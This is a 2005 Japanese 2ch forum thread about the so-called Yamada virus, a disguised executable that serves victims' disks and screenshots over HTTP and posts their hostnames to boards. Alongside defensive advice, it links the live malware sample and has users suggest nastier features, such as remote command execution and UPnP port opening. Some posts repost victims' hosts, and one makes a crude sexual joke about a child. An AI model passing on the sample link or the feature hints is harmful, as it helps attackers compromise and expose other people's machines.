フシアナ自動送信ウイルス

ダウソ板にて被害者多数。強制フシアナ?詳細不明・・・

一例
↓
WinMX総合質問51
http://tmp4.2ch.net/test/read.cgi/download/1113017041/146-148

　

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ



うはっｗｗｗおｋｗｗｗ？？

>>1
どういうことなんだろうね

【Winny】何度見ても抜けるエロ動画　8本目【Only】
http://tmp4.2ch.net/test/read.cgi/download/1112808161/182-184

つぐみなら今俺の上で腰振ってるよ

これは自虐的な釣り

ss.jpg
スクリーンショット？

ケツアナ児童挿入ウィルス

前にもこんなのあったな

coやgovがいつ出てくるのか楽しみ

こういうの結構前にあったな。なんか勝手に書き込むヤツ

561 名前：http:// 106.pool0.dsl24mosaka.att.ne.jp/~ss.jpg[sage] 投稿日：2005/04/10(日) 13:32:44 ID:PmERXzLr0
【Winny】映画総合ｽﾚｯﾄﾞPart103【ﾏﾀｰﾘ】
http://tmp4.2ch.net/test/read.cgi/download/1112610915/561-562

561 名前：http:// 106.pool0.dsl24mosaka.att.ne.jp/~ss.jpg[sage] 投稿日：2005/04/10(日) 13:32:44 ID:PmERXzLr0
ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ



うはっｗｗｗおｋｗｗｗ？？


562 名前：http:// ZR078138.ppp.dion.ne.jp/~ss.jpg[sage] 投稿日：2005/04/10(日) 13:32:59 ID:ZxnDdx2C0
ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ



うはっｗｗｗおｋｗｗｗ？？

この程度じゃねえ
ＰＣのテキストファイルから無作為に書き出すとかしてくれないと

あった自動的にスレたつ昨日

もうぬるぽ

>>13
おいおい節穴くらい消してやれ
愛知県民かわいそうだろｗ

Winnyを狙ったワーム・ニュイルス情報 Part36
http://tmp4.2ch.net/test/read.cgi/download/1111385299/

844 [名無し]さん(bin+cue).rar sage New! 2005/04/10(日) 09:53:40 ID:rE8YEVM20
ttp://strawberry.web-sv.com/cgi/up2/su/up9927.zip.htm(直りんだとむりだとおもうが・・・)
苺5のup9927
youjo.zipってやつまだ解凍してないからフォルダかどうかは不明だが・・・
ファイル名
youjo .exe
サイズは4.947.968


845 [名無し]さん(bin+cue).rar sage New! 2005/04/10(日) 09:54:37 ID:rin/9C4w0
ま　　た　　ロ　　リ　　か


846 [名無し]さん(bin+cue).rar sage New! 2005/04/10(日) 09:55:03 ID:S9cZMAZV0
また偽装exeすか

エロ見たさにあせりすぎなんだよｗｗｗｗｗｗｗｗｗｗ
落ちつけよｗｗｗｗｗｗ

なんだ？

節穴くらいいいじゃない

これはネタだよ

義母に手伝ってもらうようになってからは
ネットでエロ動画集めが馬鹿らしくなってスッパリやめた

P2Pやってる奴等のホストやIPなんて丸見えなんだから
２ちゃんでホスト晒す位どーって事無いんだろ
開放してるポート番号迄晒してる奴等だぜ

ワームが自前でhttpdになってるのね。
これならSSアップロードする必要もないわけだ。

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ
http://192.168.0.2/
http://192.168.0.2/~ss.jpg
http://kamiura/
http://kamiura/~ss.jpg

http://www.sexstump.com/streetscene.jpg

エロ杉

ダウソ板の奴らを壊滅させるウイルスをもっと開発してくれ

http://pc8.2ch.net/test/read.cgi/hosting/1110609415/935

また○○.zip　　　　　　　　　　　　　　　　　　　　　　　　.exeか

http://aa5.2ch.net/test/read.cgi/nanmin/1113101920/

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ



うはっｗｗｗおｋｗｗｗ？？

個人のアドレスなんてつまらん
co.jpとかgo.jp待ち

でもaccept許可してるホストなんて皆無に等しいと思うので（以下略

勝手に鯖を立て、全HDDを共有。アドレスを２ちゃんにフシアナで書き込む。
そんなウイルスならステキ。

GKまだ〜？

>>35
ちょっとまってなー。

>>37
うはｗｗｗｗおｋｗｗｗｗｗｗｗ

>>37
書き込む内容は、こんな感じにすればアクセスしても大丈夫だろうｗｗｗ

hxxp://●▲■/
初めてサーバー立てました。
誰でもいいので来てください（＞＜）

6 名前：login:Penguin[sage] 投稿日：2005/04/10(日) 14:11:23 ID:Gy0iPxN8
ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ
http://192.168.1.121/
http://192.168.1.121/~ss.jpg
http://zdx-pc/
http://zdx-pc/~ss.jpg


環境変数からIP取得するんじゃなくてさ、
http://checkip.dyndns.org/
こういう所からIP取得しろよ

VIP専用ブラウザの仕業じゃねーの？

>>40
これらのURLをクリックするとウィルスに感染するのか？
とじいちゃんが質問してきました。そうなんですか？

2chでの反応見ながら新バージョンをうpしてきそうだ

自分のユーザー名とローカルホスト名の共有フォルダを勝手に作成しスクリーンショットを取るのか？

な、なんだってー！

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ



うはっｗｗｗおｋｗｗｗ？？

(？？Д？？)

これは罠ね

毎度毎度、大変だねぇ

なんかもうｎｙを取り締まるのが、著作権団体でなくウイルスになってるな。
正直、ウイルスだらけになったらｎｙは自然に衰退するかもな。

>>50
Antinnyなんかは正にそれが狙いなんでしょう。
そう考えるとやっぱりウイルスの放流元は・・・

exeファイル捨てたい

【Winny】何度見ても抜けるエロ動画　8本目【Only】
http://tmp4.2ch.net/test/read.cgi/download/1112808161/182-186

かわいそうに

大分前にあったよな。画像踏むと勝手に書き込むやつ。

あんりゃああ　なんじゃろね(^_-)

みなぽんみなぽん

まじで，ええけつしてるのぉは恐怖．
全ファイル公開丸見え落とし放題になってたよ．

>>58
ヘキサゴン！

ここに出てるリモホにポートスキャンかけたくて、今必死で我慢している
俺が着ましたよ



ポートスキャンって犯罪だっけ？

>>60
それ自体は犯罪じゃない

>>1
前もそんなことあったなjpg偽造の

これってウィルス自体がでhttpdになってんの？

うん

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ

どれも画像見れないよな？

踏んでもなにも起こらないよ。
なに？これ。

>>63
そうか
でもこれじゃ意味無いねぇ

>>67
ルーターかましてない香具師はいるんじゃね？
ACCAはモデムにルーティング機能ついてるが、Yahooはついてなかったはず

ttp//　　　:12345とかになったらまずいってことか？
12345とか自分から開けてそうだし。

このウィルスの書き込む基準分かったよ
ランダムな板の、レス数が少ないスレに書き込む

>>70
感染経路はわかったの？

ハードディスクの中丸見えじゃんこれ
何を抜けばいいか教えてくれ

共有ソフト一切使ってない俺には全く関係ない話だな。
どんどん引っかかれ良い気味だ。

>>69
ポートスキャンかければ、開いてるポートは判明する
NYやMXやってる香具師は、絶対どこかのポートをあけてるから、侵入できるとは思う
ただ、俺はFWで指定したソフト以外からの接続は弾く設定になってるから、不正侵入はそこで弾かれると思う

まあ、リモートデスクトップで遊んでた俺の意見だが、専門的なことまでは・・・

>>73
残念だが今回のは共有ソフト関係ない

[ぬるぽ]
ぬるぽ=C:\winny2\

なんだ。じゃあ困るな。

>>27
guro

>>78
おそいよ(⊃Д`)

ああ、アニメスレに張られてたヤツ化

>>79
こっちもみちゃったよ。。

まともなPC環境なら、侵入はおろかファイルぶっこ抜きも無理ということでFA
NYやろうがやるまいが、ね…

侵入経路は画像かZip
または.jpg　　　　　　　　　　　　　　　　　　　.exeなどみたい
名前がyoujoの画像踏んじゃった人はご愁傷様って感じかしら・・・

踏んでも2chに書き込みするだけのウィルスだが

ええけつしとるのぉ　*´Д`)ﾊｧﾊｧ

っていうか、ルータ使ってない香具師いるのか？

>>84
俺使ってないよ。ADSLなら入れてない奴の方が多いでしょ

AVGだとHidden Extention .exe と判定されるな

Winのファイアウォールもあるでしょ

女子アナスレじゃないのか・・・

スクリーンショット、リアルタイムで更新してるぽいな

ルーターもＦＷも入れないでネットってアル意味すごいよな

映像の世紀全シリーズＤＬ完了したら、今後一切ＭＸやらない。

>>90
FWは当然入れてるけど
一台しかPCないからってルータ使っていないのはダメか？

>>92
モデムにルーティング機能があるなら無問題
なければ、ルーターかました方がより安心できる

NYやMXやらないなら、FWソフトでも十分だとは思うけど

　　 　 　 |　 !　　　　　　　　　 　 　 　 　 　 　 　 |　 |　　　　
　　　　　 | │　　　　　　　　　　　　　　　　　　　〈 　 !　　　　
　　　　　 |　|/ノ二__‐──ｧ　　 ヽﾆニ二二二ヾ } ,'⌒ヽ　 　
　　　　 /⌒!|　 =彳ｏ｡ﾄ￣ヽ　　　　　'´ !o_ｼ｀ヾ　| i/ ヽ !　　
　　　　 ! ハ!|　　ー─　'　　i　　!　 　 `' 　 '' " 　 ||ヽ　l |　　ええけつしとるのぉ
　　　　| | /ヽ!　　　　　　　　|　　　　　　　　　　　 |ヽ i　!
　　　　ヽ { 　|　　 　 　 　 　 !　　　　　　　　　　　|ﾉ　 /
　　　　　ヽ　 |　　　　　　　 _ 　 ,､　 　 　 　 　 　 !　, ′
　　　　　　＼ !　　 　 　 　 '-ﾞ　‐ ﾞ　　　　　　　　レ'
　　　　　　　 ｀!　　　　　　　　　　　　　 　 　 　 /
　　　　　　　　ヽ　　　　　ﾞ　￣　 ￣ ｀　　　　 / |
　 　 　 　 　 　 |＼　　　 　 ー ─‐ 　 　 　 , ′ !
　　　　 　 　 　 |　 ＼　　　　　　 　 　 　 ／　　 |

accaの富士通モデムは糞だが腐ってもルータ機能が付いてるから
文句はいわん

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ



うはっｗｗｗおｋｗｗｗ？？

感染源は何？

>>97
>>18

>>85
ACCA, eAccessと、フレッツのSV系はルータ内蔵モデム。
Y! BBと,PPPoEクライアントソフトで繋ぐフレッツはルータなし。
ADSLじゃないけど、CATVもグローバルIPアドレスが直接マシンに振られる。

>>93
モデムはNTTからのレンタル品で
ルーティング機能はついてないや。
今度妹がPC買うって言ってるからルーター買う事になるから
今からちょっと勉強してこよう。

>>98
サンクス。

またロリか(^ω^;)

適当に流すスレ
http://tmp4.2ch.net/test/read.cgi/download/1112361478/

ここに爆撃させてる。上げてれば来るし、今見える奴が居るぞ

ああ、ウイルスだったのか
さっきシベリアで見て、IP強制表示の板で何やってるんだこいつは？って思った

これって、感染されても気付かないんじゃね？

AVGからちゃんとしたアンチウイルスソフトに乗り換えようと思うんだが
ウイルスバスターとノートン先生はどっちが押すすめ？
２チャンではノートン先生が人気高いようなんだが、ｎｙウイルスに対応してるからか？

とりあえず実は俺感染していることに今気づいたｗ
対応しているアンチウィルスソフトないんじゃんorz

普通にアクセスできない

>>106
フェリ�dPCｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

>>106
信じられない

けど、今日の経験を生かしてがんばれよ

>>106
(・∀・)ｺﾝﾆﾁﾊ!!

ヤマイモ書いてる人ってこれにやられたの？
なんかなかったことにって書いてあったが

http://yahoobb219013032023.bbtec.net/~ss.jpg

感染されたらずっとＩＰ送られるのかな
１回きりのようにも見えるが

どうやったら感染確認できるの？

>>114
HDD内をmusi_king.exeで検索汁

>>114
こういう感じでやるってのはどうだ
http://127.0.0.1/
http://127.0.0.1/~ss.jpg

>>114
http:// 自分のホスト/~ss.jpg　で画像が表示されたら・・・

>>106
メモリ768mb、CPU実クロック2G以下ならノートンはおすすめできない

>>117
でも、画像表示のリンクってすぐ切れてるんじゃないの？

>>1

oh! nice hip! hehe!

ss.jpgとか全然見れないんだけど
どうやって見るの？

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ

というか、感染源はどこ？

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ
http://192.168.123.1/
http://192.168.123.1/~ss.jpg
http://max-e156cd17116/
http://max-e156cd17116/~ss.jpg

>>125
http://tmp4.2ch.net/test/read.cgi/download/1111385299/844

これかな？これだけかどうかは知らんけど

>>127
ｻﾝｸｽﾃｭ

>>126
こういうのあらゆる所にあるけど、
踏んでも大丈夫？

（ ;‘e‘）＜強制フシアナってなんかやらしいな

いまどきうぃるすにひっかかるやつってどんだけのうにうじむしわいてんだよｗ

これとはまた別物なのか？
http://pc7.2ch.net/test/read.cgi/jisaku/1112864983/145

適当に流すスレ
http://tmp4.2ch.net/test/read.cgi/download/1112361478/

適当に流すスレ
http://tmp4.2ch.net/test/read.cgi/download/1112361478/

今ここが大変なことになってます

>>126
これっていったいなんなの？

再上げ

適当に流すスレ
http://tmp4.2ch.net/test/read.cgi/download/1112361478/

今ここが大変なことになってます

下痢みたいだね

今回はタスクマネージャから判断できんのか？

再上げ

適当に流すスレ
http://tmp4.2ch.net/test/read.cgi/download/1112361478/

今ここが大変なことになってます

なんか見えてはならない物が見えてるって言うか、
見てもいいのかな？もう見ちゃってるけど。
って言うか、こういうのってヤバくない？

PC全裸状態　ヤバス

なんか、nyやってない人でも感染してるらすい

感染経路とかどうやったら感染するのかとか誰かまとめてくりゃれ

どうやったら全裸状態が見えるの？

いつも福田クンのプロバイダで接続成りすまししている俺の立場がないなあ(w

これ異常にﾔﾊﾞｽな状況じゃないのか？
全裸どころか子宮口から入って脳みそのシワを見ているような
状況じゃねーか。おっそろしいなあ。

なんかまた名前決めなきゃね。

699 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/04/11(月) 02:17:10 ID:bGXCCukp0
感染確認方法

http://127.0.0.1

見えたらLAN引っこ抜け

感染って言うか
クリックするとフシアナするだけ？
会社から以外はどうでもいい問題だよな

いや，場合によりゃ中身丸見えっていうか共有になるみたいね

ＩＰが見えてるから
勝手にハキングしてるだけだろ
ウイルスかんケーねえぇじゃん

nyやmxとかでどこかのポートが開いてる場合はヤバイな
設定ファイル読まれたらルーターありでも流される危険があるからきおつけて

ホスト情報だけじゃん
ＩＰじゃねーじゃん
何言ってんだよ

マイコンピュータのエクスプローラを開いた時と同じ状況がブラウザ上で展開される


つまり


お前等のPCにあるファイル一つ一つが自由に回覧・コピー・改竄されてしまうわけだ

なんか恐いな
やっぱり俺程度の知識の奴がインターネッツやるのは
まずいのか、お前らの言ってることがさっぱりわからん

DoS攻撃…
ロリコンのプライバシーが明らかになるのはともかくとして、これ犯罪？

783 [名無し]さん(bin+cue).rar sage New! 2005/04/11(月) 02:36:54 ID:zCFRNZqk0
データエリアざっくり眺めてるだけだけど、シマンテックやらトレンドマイクロやらMSやらのｕｒｌも並んでる。
なにやってんだろ？DOS？

789 [名無し]さん(bin+cue).rar sage New! 2005/04/11(月) 02:38:17 ID:bGXCCukp0
>>783うんうん
FWのログがすごい事になってる。
全部ブロックできてるけど

>>154
パソコン暦長いけど
よくわかんない
俺にもっとくわしくお願いｓ

>>155
(・∀・)人(・∀・)

俺は明日から出張だ。
感染してないPCでよかった。

HTTP鯖でしょ。公開は出来るけど操作できないでしょ？

>>155
(・∀・)人(・∀・)人(・∀・)

フシアナしただけじゃ自分のＩＰアドレスは他人には分からないんじゃないのかね
ホストまで表示だろ？よく分からんがなんの騒ぎなんですか？
エロ画像収集本日中止に追い込まれてるんですよ。大損害なわけです

ＷＩＮＭＸユーザー内の出来事ですか？
我々健全な市民には無関係？

自己複製能力はあるのかな？
なきゃそんなに大事にはならなそうだけど

>804 ：[名無し]さん(bin+cue).rar [sage]：2005/04/11(月) 02:43:16 ID:25Ub0lto0
>俺は明日から出張だ。
>感染してないPCでよかった。

>159 ：番組の途中ですが名無しです [sage]：2005/04/11(月) 02:43:00 ID:AKEkkj+q0
>俺は明日から出張だ。
>感染してないPCでよかった。

ＩＤは違うが同一人物なのか？偶然か？

今回はWinnyやらない奴が対象

全然調べてないから予想で書くけど

ウィルス感染
↓
HTＴP鯖を動かしてファイルを公開できるようにする
↓
2chで節穴して、自分の鯖を公開する書き込み
なんだけど、PCの環境変数から拾ってるからローカルIP公開して
まともに動いてないと。

こんな感じ？

>>165
え、マジで？

>165
おまえ変態じゃないの？

>165
おまえ変態じゃないの？

>>167
そうゆうことですか
それでは別にへんなアドレスをクリックしても
感染した馬鹿のファイルが見れるだけと・・・
我々に無害なわけですね。

日頃の行ないの報いだねw

>>165
え、まじで！？

>>165
結局ID:25Ub0lto0は感染してるみたい

しかし、キンタマとか今回のとか日本発のウィルスってさ、
外国の奴のように急速に散らばるっていう派手さはないけど、
なんつーのか匠ってのを感じるね。　笑

>>171
不正アクセスになるかもな
パスワードなくても不正アクセスになる判例出たみたいだし

向こうﾜﾛｽｗｗ

リンクを踏んだのであれば無問題

でもさフシアナさんされるスレが１０００逝ったら終わるんじゃねーの？

いろんなとこに晒されてるらしい

ダウン板のスレでは
山田ウィルスと命名された模様。ｗｗ

こんな手の込んだウイルスがあるんだね
まあ間違いなく言えるのは犯人は２ちゃんねらだな

フジアナ転送ウイルスだったら喜んで・あー野郎はイラネ

このウィルスの作者、プログラミング初心者か？
ルータ通してたりしたら192.168.0.1とか出て全然被害無いじゃん

　　 ∧__∧∩　／￣￣￣￣￣￣￣￣￣￣￣
　　（ ´∀｀）/＜　エロい人、感染源はなんですか！？
＿_ / 　 　/　　＼＿＿＿＿＿＿＿＿＿＿＿
＼⊂ノ￣￣￣＼
||ヽ||￣￣￣￣||
　...||￣￣￣￣||

山田から送られてくるexeファイル

ノートンはどれ位で対応してくれるかな

>>185
作った奴が素人っぽいからexe

>>184
少なくても独自のhttpエンジンを作れるんだから
プログラミング初心者とは言わないと思う。

>>184
ルータのネット側アドレスなんてPC側から分かるとは限らん。初心者は感染しとけ。

どうせ作るなら欲しかった動作
・UPnP対応
・特定アドレス指定で任意のコマンド実行
　「ttp://hoge/com/*****」で「system(*****)」

>>189
自鯖建てるのなら5分あれば作れる
winsockでポート80を開けてListenで待機状態にすればいいだけだから数行だよ
VBならコントロールをフォームに貼り付けて2行書くだけ。ノートンの警告は確実に出ると思うけど。

キンタマコップの次はキンタマドクター
http://tmp4.2ch.net/test/read.cgi/download/1112326977/

とりあえず軽くまとめてみた。
http://nemoba.seesaa.net/article/2891535.html

>>188
そーみたいだね

http://tmp4.2ch.net/test/read.cgi/download/1112326977/51

51 名前：[名無し]さん(bin+cue).rar [] ：2005/04/11(月) 03:21:25 ID:f/xjYJFX0
ここまでの流れ
・ﾀﾞｳｿ板の一番上のスレにカキコがされる様になり、ワームスレに報告が出る
・元ファイルは youjo.exe ご丁寧に写真も有る
・専用のスレが削除人によって消される→スレ立ての鼬ごっこ開催
・AM1:00過ぎ、（; ´Д｀）＜ﾊｧ━━━━━━; ´Д｀━━━━━━ﾝ!!!!/降臨
・AM3:00過ぎ エロゲ中降臨


↑
下２つがわからんｗｗｗｗｗ

>>192
2chに書き込むにはさらにPOSTメソッドでどんな通信が
行われるかも把握していなくてはならん。
少なくてもsocket関連には熟知してるだろうな。

>>194
おつおつ

>>195
ハーンはウィルスに感染してアクセスできた人のHDDの中にあったフォルダ名らしい
エロゲ中も感染した人のSSだと思う

>>196
POSTメソッドならWinInet使えば簡単にできるよ
わざわざWinsock使うまでも無いってくらい便利なDLLがちゃんと提供されてる

悲しいけどこれってプライベートIPをそのまま書いちゃう程度のツールなのよね。

>>199
そうか、そんなに簡単に作れるのか。
そうするとルータのwan側のグローバルIPはどうやって取得するの？
外部サーバに頼るかfusianaするしかなさそうだけど。

節穴書き込みしてるとこへアクセスしたいんだけど、
これは不正アクセスになるっぽいですか？

>>200
ルータは漏れは使ってないので試せないが、
ローカルだとループバックすると思うから環境変数を調べてくれるサイトにGETメソッドでアクセスすれば良いよ

>>201
俺もそれが怖いので見てない。
こんなことは今までなかったから参考になるような判断基準もあんまないし･･･

>>202
うん、ルータ配下で確実にグローバルIPを取得するには
環境変数を吐き出してくれる外部サーバに頼る以外に無いよ。

グローバルIP取得できてもルーターの設定までは変えられないから
意味無いっぽい

そろそろUPｎP対応のトロイ出てほしいな

>>204
ヒント：SSDP、
GetExternalIPAddress
相当古いルータ以外なら普通に使える

>>205
ヒント：winny.ini(だっけ？）

>>207
ほうほう。ちょっとお勉強になった。

>>206

うぉー、怖いこと言うな

UPnP　
読み方 ： ユーピーエヌピー
フルスペル ： Universal Plug and Play
別名 ： ユニバーサルプラグアンドプレイ

　家庭内のパソコンや周辺機器、AV機器、電話、家電製品などの機器をネットワークを
通じて接続し、相互に機能を提供しあうための技術仕様。1999年にMicrosoft社によって
提唱され、Intel社，3Com社，AT&T社，Dell Computer社など20社以上が支持している。イ
ンターネットで標準となっている技術を基盤とし、ネットワークにつなぐだけで複雑な操作
や設定作業を伴うことなく機能することを目指している。ネットワークインフラとしてはパソ
コンLANに最も広く用いられているEthernetのほか、HomePNAやHomeRFなど、家庭内L
AN用の規格もサポートされる。

UPnPの読み方はアップンプ

test

おまいら、開発者にヒントを与えているだろ。

nyで著作権違反してる奴らはウィルス感染しても自業自得だと思ってる
だがウィルスを作るのも違法であるため、俺は作ったりしない

まあwebでも広がってる訳だが

このウイルスは極悪だ
キンタマの比じゃないよ

完全に乗り遅れたみたいだ。
まとめサイト出来てる？

>>217
まえにも苺ウイルスとかあったじゃんｗ

987 名前：名前は開発中のものです。[sage] 投稿日：2005/04/11(月) 05:43:21 ID:LIx8ojR0
ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ
http://xxx.xxx.xx.xx/
http://xxx.xxx.xx.xx/~ss.jpg
http://your-ujoyoies1m.zaq.ne.jp/
http://your-ujoyoies1m.zaq.ne.jp/~ss.jpg


988 名前：名前は開発中のものです。[sage] 投稿日：2005/04/11(月) 06:56:08 ID:S/RfNS7I
ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ
http://192.168.1.2/
http://192.168.1.2/~ss.jpg
http://HIRASAKA/
http://HIRASAKA/~ss.jpg

亜流？
上のは一応IP伏せてみた。

まとめサイトの症状見本
http://nemoba.seesaa.net/image/d.html

（；ﾟワﾟ）

つーか、コレじゃダメだよ。
UPnPの仕様に変更してもUPnPなんて普通は切ってるでしょうが。
ttp://grc.com/unpnp/unpnp.htm

ムダ。

微妙・・・

山田ウイルスｗ

guest guest

こうですか？わかりません！

>>225
IPアドレス 211.1.40.113
ホスト名 pppt113.nkansai.ne.jp
IPアドレス
　割当国　※ 日本 (JP)
都道府県 兵庫県
市外局番 0796
接続回線 ダイヤルアップ

プギャー

　　　　　　　　　　　＿＿＿＿＿＿＿＿＿＿＿＿＿
　　 ＿＿＿　　　／
　／´∀｀;:::＼＜　　もうすぐ光入れるからお別れﾅﾝﾀﾞ・・・
/　　　　/::::::::::|　＼＿＿＿＿＿＿＿＿＿＿＿＿＿
| ./|　　/:::::|::::::|
| |｜／::::::::|::::::|

フシアナ自体どうでもいいんだが、最近フシアナしたときに
BBQで焼かれちゃって困った。プロバイダアドレスは弾いてくれよ

BBQって粘着の逆恨みにかなり使われてる気がする

なんだ、フジの女子アナを自動送信じゃないのかよ

ここもまとめ
ttp://wsn.31rsm.ne.jp/~chapel/mt/archives/200504/10-165735.php
>ウィルス定義とwindows　updateができなくなる(真偽不明)。
ってマジか?

http://nemoba.seesaa.net/article/2891535.html
更新しといた

>>232
本当、hostsファイルが書き換えられて民主党に飛ばされるようになる。

症状は大体こんな感じ。

・HTTPサーバを立ち上げてハードディスクの中身とデスクトップのスクリーンショット世界に公開。
・２ちゃんねるの板一覧を取得して２ちゃんねるの掲示板にランダムに書き込む。
・ホストファイルへ追記。
マイクロソフトやアンチウィルスソフト会社などへのアクセスを民主党（210.253.211.2）へのアクセスにする。

アップローダーを必要としない上にハードディスクのファイル全部公開されるから苺キンタマより凶悪。
でも、ルーターとかあるから公開されてしまう人は少ない。
ただ、公開されたらたぶん史上最悪のダメージ。

あと、今回はファイル共有ソフト経由で感染してるわけではないので注意。

ああでも駆除しちゃえば公開されなくなるから
永遠に公開されるよりはましかな？

よく分からんけどルータってアウトバウンド通信は防げるの？

アウトバウンド通信ってのをよく知らんが
外に通信するのもルーターで設定すりゃ弾けるでしょ。

ルーターのおかげで公開されないってのは
HTTPサーバーが立ち上がっててもルーターがポート閉じてくれてるから。

なるほど。

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ

http://127.0.0.1/guro.jpg
http://127.0.0.1/penis.jpg
http://127.0.0.1/motercycle.jpg

これ本スレってどこなの？

>>239
キンタマコップの次はキンタマドクター
http://tmp4.2ch.net/test/read.cgi/download/1112326977/

これかな。

ファイル名変えて流れると思うとちょっと怖いな。
とりあえず、http://localhost/で何もみえなければ平気なの？

>>240
ありが�d

>>241
とりあえずは大丈夫だと思う

こういうのって大半がP2Pとはまったく関係ない人が二次的被害受けるんだよな
ウィルス作者は死ねよ

exeを実行する神経がどうかしてる

偽装exeを見抜けるなら中級者。

なんとなくで回避する俺は永遠の初心者

>>243
ありがとう。ちょっと安心した…
いつもnyやってねーからいいやとか思ってたけど、今回はアップされたファイルって聞いて、
youjo.exe以外に名前変わってるのを踏んでたりしてたらどうしようと思ってｶﾞｸﾌﾞﾙしてました。

ゲームのisoイメージ落として、DVDとかに焼いて、そいつ実行したら地雷だったりしたら、
泣くに泣けんな。

去年ｱﾚだけｷﾝﾀﾏで騒いだのに、まだこんなのに引っかかっているﾎﾞｹ初心者がいるのかよ
おまえらもういいから放置して、恥を晒しまくれやｶｽﾄﾞﾓが

いや、だから今回の騒動とP2Pは関係ないし・・・

>>250
リア厨は黙ってろよ( ´,_ゝ`)ﾌﾟｯ

>252
煽ることしか出来ねぇﾘｱ池沼は黙ってろや( ﾟдﾟ)、ﾍﾟｯ

これだから（ｒｙ

半角ｶﾅ

喧嘩するくらいなら俺を殴れよ

一歩前へでろ

いや、ここはオレを殴ってくれ

いやいや俺を・・・

よしみんな並べ

>>252-253
バーカ

結局「（ｒｙ 」でしか返せないなら、レスすんなよ消防

おっと俺を忘れてもらっちゃ困るぜ

>263
えーっと、お前…山田だったっけ?

おまいらヤメテ！！ワタシを奪い合ってケンカなんかしないでよ！！

あああああ検索したらc.htmlはないけどd.htmlがみつかったあああああああああああ

外野はスルーしろよｗ

ｎｙなんてすんなよ

425 名前：YahooBB221085132027.bbtec.net[age] 投稿日：2005/04/11(月) 11:23:05 ID:tqMfntUE0
えぇけっしとるのぉ(*´Д`)ﾊｧﾊｧ


うはっｗｗｗおｋｗｗｗうえっｗｗｗ？？

432 名前：[名無し]さん(bin+cue).rar[] 投稿日：2005/04/11(月) 11:28:13 ID:gZhU+2R10
>>430

>>425の彼で言えばこんな悲惨な感じ。
http://yahoobb221085132027.bbtec.net/C.html

やばい・・やばすぎるぞ！

ごめんまとめサイトのサンプルのd.htmlだったあああああ

>>269
もう消えてるね。
俺もそのスレ張ってたけど見れんかった

exeに仕込まれてんなら実行しなきゃいいだけだけど
VIPとかでやってるような、割合いい加減なコミュニティでの公開開発とか危ないだろうな

>>269
俺は見れた。正直、地獄絵図だった

ﾌｫﾙﾀﾞさくさく君とかか

プログラミング中級者以上はウイルス作ろうと思っても作らない。作ったらただの厨房。

自分の衝動を抑えられないんだよな。精神的に幼稚な証拠だ。

※※取り扱い注意※※　山田ウイルスの本体
http://strawberry.web-sv.com/cgi/up2/3.html?1113184514
↓
up9927.zip okari 　4.5MB 05/04/10(Sun),05:37:46 application/octet-stream youjo.zip

>277
お前、ﾘｱﾙでﾊﾞｶだろ？

犯罪予告するウイルスがいいよ

>>277
お前みたいなのがBeポイント集められるってのが、
Beシステムってまったく意味内ないって証拠みたいなもんだな

ノートンの防火壁で防げるから安心だな

http://up.nm78.com/data/up090350.jpg

というか未だに削除されずにうｐされてるってどういうこと？証拠保全か？

ﾙｰﾀｰ・火壁ユーザーの大半の香具師が80番ポート開けてないだろうから、
今回のは公共機関のリモホ漏れでもしない限り祭りになりそうにないな。

httpd立ち上げるって書いてあるけど、感染者がPC起動してる間しか画像閲覧できないわけで・・・。
その点はロダうｐ型の方が優れてるかなぁ。などと。

#これで強制的にポート開放 or　ポート開いてる香具師経由で公開みたいな機能が付いたら凄い事になりそうだな。

>>281
その前にSSMっぽいアプリを入れるとかzip内のexeを解凍出来ないようにしておくとかしとけ。

そういえば山田と言えば「大進」・・・今頃何してんだろ・・・・。

>>285
一応フォルダのアイコンは窓の手で変えてます。

不正アクセスなのか凄く気になる・・・

鯖を立てているということは、それがｳｲﾙｽによって行われたものであるとしても、IPさえわかれば誰でもアクセスできる状態。
それに見られるようにしている物を見る事についての罰則規定は無かったはず。

そのマシン上のファイルを無断で書き換えたらその時点で法的にはアウトだけどな。

>>288
自分で鯖を立てたんなら見られてもしょうがないとは思うが、トロイ的鯖だからなぁ。
で、この板のスレ見てれば、この鯖の仕業だって事は十分予測できるとされても
おかしくないとおもうし。

感染経路も特定できたし、
うっかりクリックとはいえ、exeを実行しなきゃいいだけなんだし

まあ、それでいいじゃないか

俺はそれで安心だ

これはどうなの
http://tmp4.2ch.net/test/read.cgi/download/1112326977/550

janeからクリックしても感染する？

>>292
exe実行しない限り感染しない、と思う。自信ないけど

winny,iniファイル見りゃ開いてるポートわかるけどなｗ

>>285
zip内のexeを解凍しないように出来るんですか？
どうするの…おせーて！

またマカーが勝ち組か！

なんだこりゃ？どういうこと？

>>297
まとめが>>233

ランダムにといっても、つまり書き込んだ後に同じｽﾚに連続して書かれなければ感染してないと考えていいんだよね？

誰かシマンテックに検体提出よろ

インターネッツはおそろしいな

ドリームキャストでネットしてる俺が最強無敵

セガサターンで(ry

webtvで

で

（　＾ω＾）

すまん、いまきたんだが、まとめてどうゆうことなのかおしえてください

>>307
http://nemoba.seesaa.net/article/2891535.html

ういるすのおかん

名前欄に　＠シェアー使用中　みたいなのはなんなの？

>>310
見当たらないが

http://sports7.2ch.net/test/read.cgi/noroma/1095685390
こんな感じ

むしろとっとと全板強制フシアナにしろよ

えぇけっしとるのぉ(*´Д`)ﾊｧﾊｧ

↑この書き込みあちこちで見かけうざいし
なにかと思ってたとこだよ。当然スルー

デスノバレ、まだもらってないのに…orz
感染したらどうしよう

キンタマと違ってイマイチよくわからん。

自前でサーバたてててhtaccessとか設定してた場合も無効になっちゃうの？

向こうの782が丸見えなのか?

>312

>>312のはShareウィルスらしい
★ Share / Upchan 報告スレッド
http://qb5.2ch.net/test/read.cgi/sec2chd/1095948471/122

>>287
それだけだとアイコン偽装を見破れても危険性は残る。
フォルダ以外のものに偽装してたら無意味。
